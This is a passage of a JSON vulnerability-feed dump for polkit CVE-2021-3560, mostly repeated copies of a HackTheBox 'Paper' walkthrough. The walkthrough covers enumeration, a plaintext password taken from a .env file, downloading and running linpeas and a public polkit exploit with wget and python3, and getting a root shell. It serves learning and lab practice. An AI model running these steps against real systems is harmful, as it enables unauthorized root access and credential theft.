which enables an unprivileged local user to get a privileged shell (root) on the system by manually sending dbus messages to the dbus-daemon, then killing the request before it has been fully processed.\n\nMD5 | 26b6cdb7066c00f38cf20509e706052f\n\nDownload\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:04.805162Z"}, {"uuid": "e93540ee-6e0e-4e39-90a3-75b95e9392e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/hacking_Attack/81151", "content": "Hacking Articles|Raj Chandel's Blog\nPaper HackTheBox Walkthrough\n\nSummaryPaper is Linux machine and considered as easy box by the hack the box. On this box we will begin with basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability found in the WordPress plugin which will lead us towards secret chat domain. Then we will create a new user account and enumerate all the conversations and take advantage of the bot feature to read sensitive file which will give us initial foothold to the target machine. Then we will be tasked to gain root access where we will exploit it using policy kit vulnerability found in year 2021 by Kevin Backhouse. A successfully execution of the exploit will spawn a root shell.<o:p Table of content<o:pInitial Access<o:p\n\n* TCP Port Scan<o:p\n* Initial Enumeration<o:p\n* Find Domain Name <o:p\n* Web Page Enumeration<o:p\n* Searching For the Exploit<o:p\n* Secrets leaking Vulnerability Exploitation<o:p\n* Subdomain Enumeration<o:p\n* Bot Feature Abuse<o:p\n* User Flag<o:p\n* Privilege Escalation<o:p\n\n* PolicyKit Exploit: CVE-2021-3560<o:p\n* Root Flag<o:p\n\nLet\u2019s exploit it step by step.<o:p Initial Access<o:pWe are going to start assessment with the normal TCP/IP port scanning.<o:p TCP Port Scan<o:pLet\u2019s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sV flag which performs a service version scan against the target machine. <o:p\n\nFlags features:<o:p -sV:\u00a0 Attempts to determine the service version<o:p nmap\u00a0 -sV 10.129.74.162<o:pFrom the nmap scan, we have found there were only three ports open, which is port 22,80and port 443. As usual HTTP serviceis running on port 80, HTTPSservice is running on port 443 and the SSH service is running on port 22. Both HTTP and HTTPS service is used for the webhosting and the SSH service is used for remote connection. SSH version is latest, and we did not find any vulnerabilities on SSH version 8.0 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80 and 443. <o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRZb246ahrzPrLy7p8vBU3jJfUB0XqPZ0eEGQg1JaImB8m8C4gmQir10SE818EabllpfLgCkalGNfsu8rnGqacadA_SiBNbVdLbwy453DE15w6kZEJHqE2ZrEO8kRe_tswLKhWaEaJbttBTakJX0N7r_ekjx-oTrp5QbMCZaeAt0tDB10krJf7PH6v4Q/s16000/1.png Initial Enumeration<o:pWe begin enumeration by accessing port 80 and 443 over browser. Webpage does not have much interesting things. From the web page we found it is showing default page of CentOS. <o:p htttp://10.129.74.162<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpmVzL26cqrALLxWTo1V5u8CIMbmgqcSsjZWBteqKQ55YbZX4SF6xYs5QkTLBv9U9SrGE3wmpJRvVVMIovg2xjBdNse88CQV-jqS06ceUrewhei1xOXKdyUXXITwxsfooeaITaFKCym3UenwC3cxUy4_LHbKjALNVs8nUs0kn4MYnsMxc12BFoBHsmQQ/s16000/2.png Find Domain Name Command used:<o:pcurl -I 10.129.74.162<o:pFlags features:<o:p -I: Include protocol response headers in the output<o:p\n\nFurther enumeration of the output result, we see X-backend-server revealed its domain name which is office.paper. We have used Kali inbuilt tool called curl.<o:p https://everything.curl.dev/project<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil3DhSHT205uFuScczyTDvVUcgZgk1RiJ5Z2cGiggSoV2EqJh2oa2_YVm_LSuJMnkgjgJj6auZdtYm7F3Zj7vT_yLpHpVoGgFo9e6txxVp9iUoXx-znzKeBjUy3s8JnGfh2y8_E0yCLutv0c92ShX6_RNZ0jexiu0dhGRlTjGsMN4qBhwDp8an3U2Uaw/s[...]", "creation_timestamp": "2026-09-02T01:01:29.700791Z"}, {"uuid": "a39436b7-9a59-4afe-9a5a-eb252981dfd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/hacking_Attack/81155", "content": "Fxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png Privilege Escalation<o:pFrom the linpeas output, we saw few CVEs appeared as red which means these CVEs could be the potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4mioMBWAM4aVHF_j5SLhXbpZZlag4Fl3AnvohQOqOHsexxAbjDUmZHoa6C1eoICQhfsicM8OtpGfOXzrTMRb1yGxLjTLsgNLFkjLzMmjQS6IZF-jjTICZjSX2ZRdhXqnapOIolXwjOctTke6DRHOzw8ki7zTidH8V4_6iKEOVACyBRVFYMXWMEYZGjg/s16000/21.png PolicyKit Exploit: CVE-2021-3560<o:pAfter searching those exploits, we have found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits works similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Hacking articles which has a very clear instructions to exploit it. The full article is available in the below link:<o:p https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/<o:p\n\nBackground of the vulnerability can be found here:<o:p https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/<o:p\n\nReference of the exploit we have used here:<o:p https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py<o:p\n\nWe simply downloaded the exploit from the github into our kali machine and transferred it to the target machine as we did earlier to transfer linpeas.\u00a0 We used wget command to download the exploit from the GitHub, you may use other utility as well such as curl.<o:p Command used to download:<o:pwget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnugKkyEwcmQiD4TGMf01uA4NgrT_By7Bhcxs0NMGZ09dQH8Y3yRH7Nb2R1__i1H7I3tojyL4nHvEcLyPb19bDmgM-GV3FSLKr-kDaLNV2Z1Fr2Tb2DzFbKKSJeCC5StOWVD805aWB0MkVsw7lQBpzZ300D6En0JiI1O5IHTuOVUJzC-MxBPsJeFn_A/s16000/22.png On the target side we downloaded the CVE-2021-3560.pyexploit to the target /tmp directory with wget command. Then we execute the python script with python3. <o:p Command used:<o:pOn target side:<o:p wget 10.10.14.12/ CVE-2021-3560.py<o:ppython3 CVE-2021-3560.py<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFAr1D4nOZg0shEzGpxvTurQb5t9l-IHsrojp5H08TBex36YWS5-8XvsazPNUYWxGYU5uBgUakosDPhKeRrNeWIGFuEqxXoNFb4uBo72rry5_12YDEj_nq6RWdz76TQF0pN0-SoROQct3GrHYKKbtFdptxpUY_CYOT-FeZI608wzowzLKsyNDwGiNIOw/s16000/23.png Root Flag<o:pAfter successfully execution of the script, it spawned a root shell. Now we can grab root flag from the root directory. <o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkALY9wyk69BHWaaLIBtkxxFbWKeHXPmCa3fRNIDcLlEV6tM9-CxMWWvwfLXy7SHKT9LJ_QlYhQkzFtEZZS5row8f-z71E2-xJMgVnxEDv2Ru8UiAuvZCDwJJ5tcIqPBrGyhRwp6ZVMY2pq_0HP8oVbqFlAKFXl2UKJmvE7nWFXvpLWMv78z11L8VJHw/s16000/24.png Conclusion:This machine was fun and was great source of learning, where we have learned and explored so many things such as TCP port scan, service enumeration, Information leakage vulnerability, chat bot feature abuse, file transfer, file permissions, importance of environment file in the Linux and policy kit vulnerability to perform local privilege escalation.<o:p\n\nThank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!<o:p", "creation_timestamp": "2026-09-02T01:01:29.763994Z"}, {"uuid": "3755dd69-6f52-4b6b-9dff-3068015520b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/hacking_Attack/81237", "content": "Hacking Articles\nPaper HackTheBox Walkthrough\n\nPaper is a Linux machine and is considered an easy box the hack the box. On this box, we will begin with a basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability found in the WordPress plugin which will lead us towards secret chat domain. Then we will create a new user account and enumerate all the conversations and take advantage of the bot feature to read the sensitive file which will give us initial foothold to the target machine. Then we will be tasked to gain root access where we will exploit it using policy kit vulnerability found in year 2021 by Kevin Backhouse. Successful execution of the exploit will spawn a root shell. Table of ContentInitial Access\n\n* TCP Port Scan\n* Initial Enumeration\n* Find Domain Name\n* Web Page Enumeration\n* Searching For the Exploit\n* Secrets leaking Vulnerability Exploitation\n* Subdomain Enumeration\n* Bot Feature Abuse\n* User Flag\n\nPrivilege Escalation\n\n* PolicyKit Exploit: CVE-2021-3560\n* Root Flag\n\nLet\u2019s exploit it step by step. Initial AccessWe are going to start the assessment with the normal TCP/IP port scanning. TCP Port ScanLet\u2019s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used \u2013sV flag which performs a service version scan against the target machine.\n\nFlags features:\n\n-sV:\u00a0 Attempts to determine the service version\nnmap\u00a0 -sV 10.129.74.162 \nFrom the nmap scan, we have found there were only three ports open, which is port 22,80 and port 443. As usual HTTP service is running on port 80, HTTPS service is running on port 443 and the SSH service is running on port 22. Both HTTP and HTTPS service is used for the webhosting and the SSH service is used for remote connection. SSH version is the latest, and we did not find any vulnerabilities on SSH version 8.0 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to do. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80 and 443.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRZb246ahrzPrLy7p8vBU3jJfUB0XqPZ0eEGQg1JaImB8m8C4gmQir10SE818EabllpfLgCkalGNfsu8rnGqacadA_SiBNbVdLbwy453DE15w6kZEJHqE2ZrEO8kRe_tswLKhWaEaJbttBTakJX0N7r_ekjx-oTrp5QbMCZaeAt0tDB10krJf7PH6v4Q/s16000/1.png?w=640&ssl=1 \n\nInitial Enumeration\n\nWe begin enumeration by accessing port 80 and 443 over browser. Webpage does not have many interesting things. From the web page, we found it is showing default page of CentOS.\nhtttp://10.129.74.162 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpmVzL26cqrALLxWTo1V5u8CIMbmgqcSsjZWBteqKQ55YbZX4SF6xYs5QkTLBv9U9SrGE3wmpJRvVVMIovg2xjBdNse88CQV-jqS06ceUrewhei1xOXKdyUXXITwxsfooeaITaFKCym3UenwC3cxUy4_LHbKjALNVs8nUs0kn4MYnsMxc12BFoBHsmQQ/s16000/2.png?w=640&ssl=1 \n\nFind Domain Name \ncurl -I 10.129.74.162 \nFlags features:\n\n-I: Include protocol response headers in the output\n\nFurther enumeration of the output result, we see X-backend-server revealed its domain name which is office.paper We have used Kali inbuilt tool called curl. https://everything.curl.dev/project\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil3DhSHT205uFuScczyTDvVUcgZgk1RiJ5Z2cGiggSoV2EqJh2oa2_YVm_LSuJMnkgjgJj6auZdtYm7F3Zj7vT_yLpHpVoGgFo9e6txxVp9iUoXx-znzKeBjUy3s8JnGfh2y8_E0yCLutv0c92ShX6_RNZ0jexiu0dhGRlTjGsMN4qBhwDp8an3U2Uaw/s16000/3.png?w=640&ssl=1 \n\nAfter finding the domain name we are adding it to /etc/hosts file in the attacking machine. To add to host\u2019s file you can use any text editor such as leafpad, gedit, nano or vim.\n\nWhy do we need to add domain in the local hosts file?\n\nThe /etc/hosts file contains a mapping of IP addresses to[...]", "creation_timestamp": "2026-09-02T01:01:29.827848Z"}, {"uuid": "cd3bcbfe-f531-4521-bfad-73112021d087", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/hacking_Attack/81243", "content": "standard directory (hubot) present in the Dwight home directory.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKUi0zrKcXzpPnrleTjXVUdVuDC1-vslJWMrG_nVruY7ZKQ8ccYYGkZ0calpgZYaLk28PiHA0ApYT9xV_zi3yQYVsFTYJHJrAEsSbf3bbR29r2ZYeFTiNOLEw5GryuPok9Dv6dGa72rtgMBGtsMUN-KGMT_iTw-QJCOgtgV6kT8Xr4a4rBRkACf8J0hQ/s16000/17.png?w=640&ssl=1 \n\nNext, we checked the non-standard directory and listed all the files present in the hubot and notice there is .env file present there. Let\u2019s talk about the environment files in the Linux system and why it is important to enumerate them.\n\nWhat is env file?\n\n.env files are used to store those variables\u00a0and they should be written in all uppercase separated with underscores for naming convention. we access those variables through process.env after installing dotnev npm package.\n\nWhy it is important to check environment files?\n\nThese environment files may contain password in plain taxed format as well as in base64 format. If an attacker found any secrets from this file, then he/she can leverage a user account.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ9KTXy8U0NtSPNTgcSKm6KteH8_U2jxzFFQMAWw37lAaubUMg6tIRDJmA_HWfGZCJgCL0jjPT7A12zhc88qA7ObSTT9nDW833TatC9oGVm0nAWF93bvSEMUekByd9WBGHticCYxgRneVfb9cPvrhZxI1BI4Yj59MWXf_e0KQEwLVvoXbfGAA8Bt-N2Q/s16000/18.png?w=640&ssl=1 \n\nNow we know the importance of the environment files in a Linux distribution. Let\u2019s check .env file to test the theory we have discussed above. We can view the file contests by providing directory path and the file name with file command.\nfile ../hubot/.env \nAs we can see a plain texted password from the .env file. We got the password but not the username so, from the penetration testing methodology we can check this password against all users that we have seen in the messages. We tested obtained password on SSH service against all users and got success on Dwight. \nUsername: dwight\nPassword: Queenofblad3s!23 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilQwsSiUpOqjs59eEf_i8kkzGL_qjLHV5HMniVMxW0coxAe4EzVY7NkVneF9B9VrkVJEf3oDbeMR1VGrq462wOhty2UlQdjh9tyBxyZgWM4jGATuCMHoFMdi6542pnVC5c-h8zFdqQY4Kz-rcDDlS5WFqgZTIjXaXVvAmWQEByaBy6d-qiYqsDjAQopA/s16000/19.png?w=640&ssl=1 User flagWe successfully logged in via SSH as Dwight into the target machine. We can grab the user flag from the user home directory. Also, we need to escalate privilege, so we transferred linpeas script into the target /tmp directory. Please note, we need to setup the python server into our kali machine to transfer the script to the target machine.\u00a0 Also, we have given full permission to the linpeas script to execute it. For more information about Linux file permissions, feel free to visit the below link: https://www.guru99.com/file-permissions.html#:~:text=Linux%20divides%20the%20file%20permissions,ownership%20of%20a%20file%2Fdirectory.\nssh dwight@10.129.74.162\npython3\u00a0-m\u00a0http.server\u00a080\nwget\u00a010.10.14.12/linpeas.sh\nchmod\u00a0777\u00a0linpeas.sh\u00a0\n./linpeas.sh \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-R3hL-Kzo8T3kNW4gxUPx71lRs4h020ChnU55hHg8nKoBJnUeTF5FgygLbBkWtPKJzA4IuHYpMtXZiIGj48ZX2iJh5izxKl3VdlaOTOa2hcAapBLJeSjS9j5ZFxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png?w=640&ssl=1 Privilege EscalationFrom the linpeas output, we saw few CVEs appear as red which means these CVEs could be potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications. PolicyKit Exploit: CVE-2021-3560After searching those exploits, we found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits work similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Ha[...]", "creation_timestamp": "2026-09-02T01:01:29.575833Z"}, {"uuid": "103441d5-0a42-4987-a1d2-4ffb3c13cc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/hacking_Attack/81245", "content": "cking articles which has very clear instructions to exploit it. The full article is available in the below link: https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/\n\nBackground of the vulnerability can be found here: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/\n\nReference of the exploit we have used here: https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py\n\nWe simply downloaded the exploit from the github into our kali machine and transferred it to the target machine as we did earlier to transfer linpeas.\u00a0 We used wget command to download the exploit from GitHub, you may use other utilities as well such as curl.\nwget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnugKkyEwcmQiD4TGMf01uA4NgrT_By7Bhcxs0NMGZ09dQH8Y3yRH7Nb2R1__i1H7I3tojyL4nHvEcLyPb19bDmgM-GV3FSLKr-kDaLNV2Z1Fr2Tb2DzFbKKSJeCC5StOWVD805aWB0MkVsw7lQBpzZ300D6En0JiI1O5IHTuOVUJzC-MxBPsJeFn_A/s16000/22.png?w=640&ssl=1 \n\nOn the target side we downloaded the CVE-2021-3560.py exploit to the target /tmp directory with wget command. Then we execute the python script with python3.\nwget 10.10.14.12/ CVE-2021-3560.py\npython3 CVE-2021-3560.py \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFAr1D4nOZg0shEzGpxvTurQb5t9l-IHsrojp5H08TBex36YWS5-8XvsazPNUYWxGYU5uBgUakosDPhKeRrNeWIGFuEqxXoNFb4uBo72rry5_12YDEj_nq6RWdz76TQF0pN0-SoROQct3GrHYKKbtFdptxpUY_CYOT-FeZI608wzowzLKsyNDwGiNIOw/s16000/23.png?w=640&ssl=1 Root FlagAfter the successful execution of the script, it spawned a root shell. Now we can grab root flag from the root directory.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkALY9wyk69BHWaaLIBtkxxFbWKeHXPmCa3fRNIDcLlEV6tM9-CxMWWvwfLXy7SHKT9LJ_QlYhQkzFtEZZS5row8f-z71E2-xJMgVnxEDv2Ru8UiAuvZCDwJJ5tcIqPBrGyhRwp6ZVMY2pq_0HP8oVbqFlAKFXl2UKJmvE7nWFXvpLWMv78z11L8VJHw/s16000/24.png?w=640&ssl=1 ConclusionThis machine was fun and was a great source of learning, where we learned and explored so many things such as TCP port scan, service enumeration, Information leakage vulnerability, chatbot feature abuse, file transfer, file permissions, the importance of environment file in the Linux and policy kit vulnerability to perform local privilege escalation.\n\nThank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!\n\nAuthor: Subhash Paudel is a Penetration Tester and a CTF player who has a keen interest in various technologies and loves to explore more and more. Additionally, he is a technical writer at Hacking articles. Contact here: Linkedin", "creation_timestamp": "2026-09-02T01:01:29.614263Z"}, {"uuid": "f1d6b267-d05a-4336-92dc-3eb960de860c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/hacking_Attack/34461", "content": "Exploit Collector\nPolkit CVE-2021-3560 Research\n\nhttps://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png \nThis document covers a vulnerability in policy kit (polkit) used on many Linux distributions, which enables an unprivileged local user to get a privileged shell (root) on the system by manually sending dbus messages to the dbus-daemon, then killing the request before it has been fully processed.\n\nMD5 | 26b6cdb7066c00f38cf20509e706052f\n\nDownload\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:31.342350Z"}, {"uuid": "12b34d49-fa8d-4ddc-a058-84b8ced5ebfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/cissp/3390", "content": "A newly discovered 7-year-old Polkit vulnerability (CVE-2021-3560) could allow unprivileged Linux users to gain root access on target systems.\n\nRead: https://thehackernews.com/2021/06/7-year-old-polkit-flaw-lets.html", "creation_timestamp": "2026-09-02T01:04:36.180488Z"}, {"uuid": "956ff3ed-62d0-47c8-9d04-251d943e93e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/cissp/3394", "content": "Cloud Security\nPhishing for AWS credentials via AWS SSO device code authentication\ud83d\ude0a\nhttps://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication\n\nRed_ eam Tactics\n1. Insecure Deserialization and extraction of admin password\nhttps://infosecwriteups.com/insecure-deserialization-web-challenges-part-1-7d1b7339ca\n2. On how to access (protected) networks\nhttps://s3cur3th1ssh1t.github.io/On-how-to-access-protected-networks\n\nexploit\nCVE-2021-3560:\nPrivilege escalation with polkit: How to get root on Linux with a seven-year-old bug (PoC)\ud83d\ude01\ud83d\udc4d\ud83c\udffd\nhttps://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug\n\nThreat Research\n1. Abusing SIP VoIPmonitor GUI for Cross-Site Scripting\nhttps://www.rtcsec.com/post/2021/06/abusing-sip-for-cross-site-scripting-most-definitely\n2. macOS Monterey Shortcuts\nhttps://theevilbit.github.io/posts/monterey_shortcuts", "creation_timestamp": "2026-09-02T01:04:35.837722Z"}, {"uuid": "48b52272-8b09-43f0-9f2a-8b276afc5d0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "Telegram/OfhVuefsoKRdr0Dsr__JpyZdyxpoDA5ij7MfO8O_RItQOyo", "content": "", "creation_timestamp": "2026-09-05T01:00:04.678425Z"}, {"uuid": "4c159d10-0864-40c0-9bfc-7cf1572a783d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81237", "content": "Hacking Articles\nPaper HackTheBox Walkthrough\n\nPaper is a Linux machine and is considered an easy box the hack the box. On this box, we will begin with a basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability found in the WordPress plugin which will lead us towards secret chat domain. Then we will create a new user account and enumerate all the conversations and take advantage of the bot feature to read the sensitive file which will give us initial foothold to the target machine. Then we will be tasked to gain root access where we will exploit it using policy kit vulnerability found in year 2021 by Kevin Backhouse. Successful execution of the exploit will spawn a root shell. Table of ContentInitial Access\n\n* TCP Port Scan\n* Initial Enumeration\n* Find Domain Name\n* Web Page Enumeration\n* Searching For the Exploit\n* Secrets leaking Vulnerability Exploitation\n* Subdomain Enumeration\n* Bot Feature Abuse\n* User Flag\n\nPrivilege Escalation\n\n* PolicyKit Exploit: CVE-2021-3560\n* Root Flag\n\nLet\u2019s exploit it step by step. Initial AccessWe are going to start the assessment with the normal TCP/IP port scanning. TCP Port ScanLet\u2019s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used \u2013sV flag which performs a service version scan against the target machine.\n\nFlags features:\n\n-sV:\u00a0 Attempts to determine the service version\nnmap\u00a0 -sV 10.129.74.162 \nFrom the nmap scan, we have found there were only three ports open, which is port 22,80 and port 443. As usual HTTP service is running on port 80, HTTPS service is running on port 443 and the SSH service is running on port 22. Both HTTP and HTTPS service is used for the webhosting and the SSH service is used for remote connection. SSH version is the latest, and we did not find any vulnerabilities on SSH version 8.0 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to do. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80 and 443.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRZb246ahrzPrLy7p8vBU3jJfUB0XqPZ0eEGQg1JaImB8m8C4gmQir10SE818EabllpfLgCkalGNfsu8rnGqacadA_SiBNbVdLbwy453DE15w6kZEJHqE2ZrEO8kRe_tswLKhWaEaJbttBTakJX0N7r_ekjx-oTrp5QbMCZaeAt0tDB10krJf7PH6v4Q/s16000/1.png?w=640&ssl=1 \n\nInitial Enumeration\n\nWe begin enumeration by accessing port 80 and 443 over browser. Webpage does not have many interesting things. From the web page, we found it is showing default page of CentOS.\nhtttp://10.129.74.162 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpmVzL26cqrALLxWTo1V5u8CIMbmgqcSsjZWBteqKQ55YbZX4SF6xYs5QkTLBv9U9SrGE3wmpJRvVVMIovg2xjBdNse88CQV-jqS06ceUrewhei1xOXKdyUXXITwxsfooeaITaFKCym3UenwC3cxUy4_LHbKjALNVs8nUs0kn4MYnsMxc12BFoBHsmQQ/s16000/2.png?w=640&ssl=1 \n\nFind Domain Name \ncurl -I 10.129.74.162 \nFlags features:\n\n-I: Include protocol response headers in the output\n\nFurther enumeration of the output result, we see X-backend-server revealed its domain name which is office.paper We have used Kali inbuilt tool called curl. https://everything.curl.dev/project\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil3DhSHT205uFuScczyTDvVUcgZgk1RiJ5Z2cGiggSoV2EqJh2oa2_YVm_LSuJMnkgjgJj6auZdtYm7F3Zj7vT_yLpHpVoGgFo9e6txxVp9iUoXx-znzKeBjUy3s8JnGfh2y8_E0yCLutv0c92ShX6_RNZ0jexiu0dhGRlTjGsMN4qBhwDp8an3U2Uaw/s16000/3.png?w=640&ssl=1 \n\nAfter finding the domain name we are adding it to /etc/hosts file in the attacking machine. To add to host\u2019s file you can use any text editor such as leafpad, gedit, nano or vim.\n\nWhy do we need to add domain in the local hosts file?\n\nThe /etc/hosts file contains a mapping of IP addresses to[...]", "creation_timestamp": "2026-09-05T03:00:05.871285Z"}, {"uuid": "2a162280-4a7b-4789-8655-ea068fe9eaec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81151", "content": "Hacking Articles|Raj Chandel's Blog\nPaper HackTheBox Walkthrough\n\nSummaryPaper is Linux machine and considered as easy box by the hack the box. On this box we will begin with basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability found in the WordPress plugin which will lead us towards secret chat domain. Then we will create a new user account and enumerate all the conversations and take advantage of the bot feature to read sensitive file which will give us initial foothold to the target machine. Then we will be tasked to gain root access where we will exploit it using policy kit vulnerability found in year 2021 by Kevin Backhouse. A successfully execution of the exploit will spawn a root shell.<o:p Table of content<o:pInitial Access<o:p\n\n* TCP Port Scan<o:p\n* Initial Enumeration<o:p\n* Find Domain Name <o:p\n* Web Page Enumeration<o:p\n* Searching For the Exploit<o:p\n* Secrets leaking Vulnerability Exploitation<o:p\n* Subdomain Enumeration<o:p\n* Bot Feature Abuse<o:p\n* User Flag<o:p\n* Privilege Escalation<o:p\n\n* PolicyKit Exploit: CVE-2021-3560<o:p\n* Root Flag<o:p\n\nLet\u2019s exploit it step by step.<o:p Initial Access<o:pWe are going to start assessment with the normal TCP/IP port scanning.<o:p TCP Port Scan<o:pLet\u2019s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sV flag which performs a service version scan against the target machine. <o:p\n\nFlags features:<o:p -sV:\u00a0 Attempts to determine the service version<o:p nmap\u00a0 -sV 10.129.74.162<o:pFrom the nmap scan, we have found there were only three ports open, which is port 22,80and port 443. As usual HTTP serviceis running on port 80, HTTPSservice is running on port 443 and the SSH service is running on port 22. Both HTTP and HTTPS service is used for the webhosting and the SSH service is used for remote connection. SSH version is latest, and we did not find any vulnerabilities on SSH version 8.0 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80 and 443. <o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRZb246ahrzPrLy7p8vBU3jJfUB0XqPZ0eEGQg1JaImB8m8C4gmQir10SE818EabllpfLgCkalGNfsu8rnGqacadA_SiBNbVdLbwy453DE15w6kZEJHqE2ZrEO8kRe_tswLKhWaEaJbttBTakJX0N7r_ekjx-oTrp5QbMCZaeAt0tDB10krJf7PH6v4Q/s16000/1.png Initial 